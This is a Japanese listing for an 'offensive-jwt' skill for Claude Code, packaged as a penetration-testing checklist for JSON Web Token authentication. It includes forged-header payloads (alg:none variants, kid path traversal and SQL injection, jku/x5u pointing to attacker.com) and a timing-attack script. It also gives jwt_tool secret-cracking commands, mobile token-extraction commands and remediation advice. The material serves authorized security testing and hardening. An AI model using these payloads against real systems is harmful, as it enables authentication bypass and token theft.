mcpField
O
offensive-jwt

offensive-jwt

github.com/snailsploitセキュリティ9.7k205 回インストール2 週間前に更新
リポジトリ

offensive-jwt について

offensive-jwtは、許可されたセキュリティテスト向けのJWTチェックリストです。トークンの発見、検証や鍵処理、モバイル保存の確認、修正案を扱います。

主な機能

  1. 01JWTの発見とクレーム確認
  2. 02アルゴリズムと署名の検証テスト
  3. 03ヘッダーと鍵読み込みへの攻撃確認
  4. 04モバイルでのトークン保存レビュー
  5. 05JWT_Toolによる自動テストの手引き
  6. 06トークン検証の修正案

活用シーン

  1. 01Web APIのJWT認証監査
  2. 02アルゴリズム混同と弱い鍵のテスト
  3. 03モバイルアプリのトークン保存確認
  4. 04クレーム検証とトークン漏えいの確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-jwt

インストール後、Claude Code で/offensive-jwtを入力して読み込まれたか確認します。

詳細

概要

オフェンシブセキュリティの取り組み向けの、包括的な JWT 攻撃チェックリストです。手順に沿って進め、現在のターゲットの状況に各手法を適用し、完了した項目を記録してください。

クイックリファレンス:確認すべき設定ミス

  • アルゴリズムが none に設定されている — 署名検証が完全にバイパスされる
  • RSA と HMAC の間でアルゴリズムが切り替わる(混同攻撃)
  • HMAC シークレットが弱い、または推測可能(ブルートフォースが可能)
  • kid、jku、jwk、x5u ヘッダーパラメーターが検証なしで受け入れられる
  • 期限切れまたは改ざんされたトークンがサーバーに受け入れられる
  • 機密データが暗号化されずにペイロードに保存されている

便利なツール:JWT Tool

仕組み

JWT(RFC 7519)は、Base64URL エンコードされた 3 つの部分で構成されます:header.payload.signature。

署名アルゴリズム:

アルゴリズム種類備考
HS256/384/512対称 HMAC共有シークレット。混同攻撃の標的
RS256/384/512非対称 RSA公開鍵が HMAC シークレットとして悪用される可能性がある
ES256/384/512非対称 ECDSA
PS256/384/512RSASSA-PSS
EdDSA (Ed25519/Ed448)非対称
none署名なし極めて危険

その他の落とし穴:

  • JWS/JWE の混同:署名付き(JWS)が想定されている場面で、サーバーが暗号化トークン(JWE)を受け入れる、または予期しない typ/cty に対してフェイルオープンする
  • JWKS の取得:jku/x5u を介した SSRF、安全でない TLS、汚染された鍵キャッシュ、kid の衝突
  • トークンバインディング(DPoP、mTLS):実装が不適切だと、他のクライアントからリプレイ攻撃が可能になる

調査:JWT の使用を特定する

  1. すべてのリクエストで Authorization: Bearer <token> ヘッダーを確認する
  2. JWT 構造(eyJ...)を含む Cookie を探す
  3. ブラウザーのローカルストレージ/セッションストレージを調べる
  4. jwt.io または BurpSuite JWT extension を使ってトークンをデコードし、クレームとヘッダーパラメーターを確認する
  5. ヘッダー内の kid、jku、jwk、x5u フィールドを記録する。これらは攻撃対象となる

脆弱性マップ

JWT Vulnerabilities
├── Algorithm Bypass
│   ├── alg:none attack
│   └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│   ├── SQL injection via kid
│   └── Path traversal via kid
├── Header Injection
│   ├── jwk (inline fake key)
│   ├── jku/x5u (remote attacker-controlled JWKS)
│   └── JWKS cache poisoning
└── Missing / Broken Validation
    ├── No signature check
    ├── Expired tokens accepted
    └── iss/aud/exp not validated

脆弱性

アルゴリズムの脆弱性
  • alg:none — 一部のライブラリは、alg が none または大文字小文字の異なる表記(None、NONE、nOnE)の場合に署名検証を無効にする
  • アルゴリズムの混同(RS256→HS256) — 攻撃者が alg を HS256 に切り替えると、サーバーが RSA 公開鍵を HMAC シークレットとして使用する。攻撃者は公開鍵を使ってトークンに再署名する
  • キー ID(kid)の操作 — kid を悪用して誤った鍵を読み込ませたり、ファイルパス/SQL を注入したりする。厳格な検索を徹底する
署名の脆弱性
  • 弱い HMAC シークレット — 辞書攻撃または hashcat でブルートフォースが可能
  • 署名検証の欠如 — 検証なしでトークンが受け入れられる
  • 検証処理の不備 — 署名チェックロジックの実装エラー
実装上の問題
  • クレーム検証の欠如 — exp、nbf、aud、iss が検証されない
  • エントロピー不足 — 予測可能な JWT ID またはトークン
  • 有効期限なし — トークンが無期限に有効
  • 安全でない転送 — トークンが HTTP 経由で送信される
  • デバッグ情報の漏えい — 詳細なエラーメッセージから実装が露呈する
ヘッダーインジェクション攻撃
  • JWK インジェクション — jwk ヘッダーを介して、攻撃者が制御する公開鍵を指定する
  • JKU の操作 — jku(JWK Set URL)を攻撃者が制御する JWKS エンドポイントに向ける
  • x5u の悪用 — 信頼できない X.509 鍵 URL を読み込ませる。緩い TLS 検証やオープンリダイレクトを悪用する
  • JWKS キャッシュポイズニング — kid の衝突やレスポンスヘッダーの操作を介して、キャッシュに攻撃者の鍵を受け入れさせる
  • crit ヘッダーの悪用 — サーバーが未知の重要パラメーターを無視し、バイパスを可能にする
情報漏えい
  • 機密データ(PII、認証情報、セッションの詳細)が暗号化されずにペイロードに保存されている
  • クレームを介して内部サービス/バックエンドの情報が漏えいする

その他の攻撃ベクトル

モバイルアプリの JWT ストレージ

Android:

  • SharedPreferences:全ユーザーから読み取り可能になっていないか確認します。場所は /data/data/<package>/shared_prefs/ です
  • Keystore の抽出:root 化されたデバイスまたはアプリの脆弱性を悪用します
  • バックアップの抽出:adb backup -f backup.ab <package>(allowBackup=true の場合)
  • ツール:Frida、objection、MobSF

iOS:

  • Keychain:kSecAttrAccessible を確認します。kSecAttrAccessibleAlways は安全ではありません
  • iTunes/iCloud バックアップの抽出:暗号化されていないバックアップから Keychain が漏えいします
  • 脱獄と Keychain-Dumper による完全な抽出
  • ツール:Frida、objection、idb

React Native / ハイブリッド:

  • AsyncStorage は平文で保存されます(Android の SQLite DB、iOS の plist)。デフォルトでは暗号化されません
# Android — check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"

# iOS — extract from backup
idevicebackup2 backup --full /path/to/backup
# Use plist/sqlite tools to extract JWT
JWT 混同攻撃
  • SAML-JWT 混同 — アプリが SAML と JWT の両方を受け入れる場合、SAML が想定されている箇所に JWT を送信するか、その逆を行い、より弱い検証経路を悪用します
  • API キー-JWT 混同 — API キーが想定されている箇所に JWT を送信するか、その逆を行ってテストします
  • セッションクッキー-JWT ハイブリッド — 有効なセッションクッキーとともに期限切れの JWT をテストし、JWT クレームをセッションに注入します
  • OAuth トークン混同 — 不透明なアクセストークンを想定するリソースサーバーに ID トークン(JWT)を送信します
# Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource

# Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource
HMAC に対するタイミング攻撃

一定時間でない比較処理では、応答時間の差から HMAC シークレットが文字単位で漏えいします。

import requests, time

def time_request(signature):
    start = time.perf_counter()
    r = requests.get('https://target/api',
                     headers={'Authorization': f'Bearer header.payload.{signature}'})
    return time.perf_counter() - start

# Brute-force first byte — longer response time indicates correct byte
for byte in range(256):
    sig = bytes([byte]) + b'\x00' * 31
    t = time_request(sig.hex())
URL パラメーター内の JWT
  • GET URL 内のトークンは、サーバーログ、プロキシログ、ブラウザー履歴に残ります
  • Referer ヘッダーを通じて外部サイトに漏えいします。CDN/キャッシュのログにもトークンが残る場合があります
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."

トークンを含む過去の URL がないか Wayback Machine を確認し、サードパーティの分析サービスに送信される Referer ヘッダーを監視します。

手動テストの手順

  1. デコードして調査:

    base64url_decode(header) . base64url_decode(payload) . signature
    
  2. none アルゴリズムをテスト(大文字と小文字のすべてのパターンを試します):

    {"alg":"none","typ":"JWT"}.payload.""
    {"alg":"None","typ":"JWT"}.payload.""
    {"alg":"NONE","typ":"JWT"}.payload.""
    {"alg":"nOnE","typ":"JWT"}.payload.""
    
  3. アルゴリズム混同(RS256→HS256):

    # Re-sign with RSA public key used as HMAC secret
    {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>
    
  4. kid パラメーター攻撃:

    {"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
    {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
    {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}
    
  5. JWK/JKU インジェクション:

    {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
    {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
    
  6. x5u / crit の処理:

    {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
    {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
    
  7. HMAC シークレットの総当たり:

    python3 jwt_tool.py <token> -C -d wordlist.txt
    
  8. クレーム検証の欠落をテスト:

    • exp(有効期限)を削除または変更します
    • iss(発行者)または aud(対象者)を変更します
    • iat(発行時刻)または nbf(有効期間開始時刻)を変更します

JWT_Tool による自動テスト

# Basic token inspection
python3 jwt_tool.py <token>

# Full vulnerability scan
python3 jwt_tool.py <token> -M all

# Targeted attacks
python3 jwt_tool.py <token> -X a     # Algorithm confusion
python3 jwt_tool.py <token> -X n     # Null/none signature
python3 jwt_tool.py <token> -X i     # Identity theft
python3 jwt_tool.py <token> -X k     # Key confusion

# Crack HMAC secret
python3 jwt_tool.py <token> -C -d wordlist.txt

その他のツール:

  • JWT.io — 基本的なトークンの調査とデバッグ
  • Burp Suite JWT Scanner / JWT Editor 拡張機能 — 自動テストとトークン編集
  • jwtXploiter — 高度な JWT 脆弱性スキャン
  • c-jwt-cracker — 高速な HMAC 総当たり(C による実装)
  • Frida、objection、MobSF — モバイル JWT の抽出

修正の推奨事項

  • 有効期間の短いアクセストークンを使用し、リフレッシュトークンを頻繁にローテーションします
  • aud(対象者)および iss(発行者)クレームを必ず検証します
  • none アルゴリズムを無効にし、アルゴリズムのダウングレードを防止します。クライアント/発行者ごとに alg を固定します
  • 検証に読み込む鍵の素材が alg と一致することを確認し、一致しない場合は拒否します
  • 未知の crit ヘッダーパラメーターを含むトークンを拒否します
  • ピン留めした TLS を使用して JWKS を検証します。信頼できるドメインを除き、リモートの jku/x5u を許可しません。kid の一意性を確保し、鍵のキャッシュには短い TTL を設定します
  • トークンの最大長を適用します。必要でない限り JWE 圧縮を無効にします
  • 早期失効のため、jti をキーとするサーバー側の拒否リストを管理します
  • DPoP トークン(typ:"dpop+jwt")の場合:証明が HTTP リクエストにバインドされていることを検証し、nonce の一度限りの使用を強制します
  • 可能な場合はセッションをデバイスにバインドし、使用のたびにリフレッシュトークンをローテーションします
  • Web では SameSite=Lax/Strict の HttpOnly クッキーを優先し、アクセストークンの保存に localStorage を使用しないでください

代替手段と最新の緩和策

  • PASETO — アルゴリズムのネゴシエーションを完全に排除し、混同攻撃を防ぎます
  • Macaroons — 制約を追加できる、ケイパビリティベースの委任が可能なベアラートークン
  • DPoP と mTLS — トークンをクライアントにバインドしてリプレイを防ぎます

コメント